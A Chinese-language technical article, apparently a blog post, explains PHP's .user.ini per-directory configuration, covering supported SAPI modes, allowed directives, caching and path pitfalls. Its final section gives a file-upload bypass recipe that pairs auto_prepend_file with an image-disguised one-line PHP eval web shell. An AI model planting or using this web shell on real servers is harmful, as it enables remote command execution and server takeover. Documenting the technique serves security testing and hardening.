.user.ini是php在cgi/fastcgi模式下支持的目录级配置文件,可覆盖php_ini_perdir/user类指令(如auto_prepend_file),通过递归扫描生效,需注意缓存、路径及sapi类型限制。

它不是.htaccess,但能干类似的事
.user.ini 是 PHP 提供的目录级配置机制,只在 CGI/FastCGI 模式下生效(比如 php-fpm 或 Nginx + PHP-FastCGI),Apache 模块模式下完全不识别。它不像 .htaccess 那样由 Web 服务器解析,而是由 PHP 自己在请求时向上递归扫描:从当前脚本所在目录开始,一直查到 $_SERVER['DOCUMENT_ROOT']。所有匹配的 .user.ini 都会被合并,子目录的同名配置会覆盖父目录的。
哪些配置项能写进 .user.ini
不是所有 php.ini 指令都能放进去。只有标记为 PHP_INI_PERDIR 或 PHP_INI_USER 的指令才被允许——比如 upload_max_filesize、post_max_size、error_reporting、display_errors,还有关键的 auto_prepend_file 和 auto_append_file。
以下常见指令不能用:
-
extension(属于PHP_INI_SYSTEM) -
disable_functions(PHP_INI_SYSTEM) -
open_basedir(部分版本是PHP_INI_SYSTEM,不可靠)
查某个指令是否可用,直接看 PHP 官网 ini.list 页面的 “Changeable” 列,别猜。
修改后为啥不生效?缓存和路径都得对
默认 PHP 缓存 .user.ini 内容 300 秒(5 分钟),改完文件等半天没反应,大概率是这个原因。可通过修改全局 php.ini 中的 user_ini.cache_ttl 调低,比如设成 user_ini.cache_ttl = 1 方便调试。
另外几个容易卡住的点:
- 文件名必须严格是
.user.ini(开头带点,大小写敏感) - 必须放在目标 PHP 脚本「执行时」所在的目录或其父目录中;上传后如果 PHP 脚本不在同一目录,
auto_prepend_file就不会触发 - Web 服务器要允许读取该文件(Nginx 默认不禁止,Apache 建议加
<files> Require all denied </files>防源码泄露) - 确认 SAPI 类型:运行
php_sapi_name(),输出fpm-fcgi或cgi-fcgi才有效;如果是apache2handler,这条路直接不通
auto_prepend_file 是最常被利用的入口
这个指令让 PHP 在执行任何脚本前,先包含指定文件——相当于每页顶部自动插入 require 'xxx';。配合伪装成图片的 PHP 文件(如 shell.jpg),就能绕过上传黑名单。
典型组合:
-
.user.ini内容:auto_prepend_file = shell.jpg -
shell.jpg内容:<?php @eval($_POST['cmd']); ?> - 确保这两个文件和一个可访问的
.php文件(哪怕只是info.php)在同一目录下
注意:auto_append_file 在遇到 exit 或 die 时失效,而 auto_prepend_file 总是优先执行,更可靠。
真实环境中,最容易被忽略的是:它只影响「PHP 脚本执行路径」下的请求,不作用于静态资源(如直接访问 /upload/1.jpg 不会触发),也不跨目录生效——你得确保攻击者能控制到那个存在 PHP 文件的目录层级。











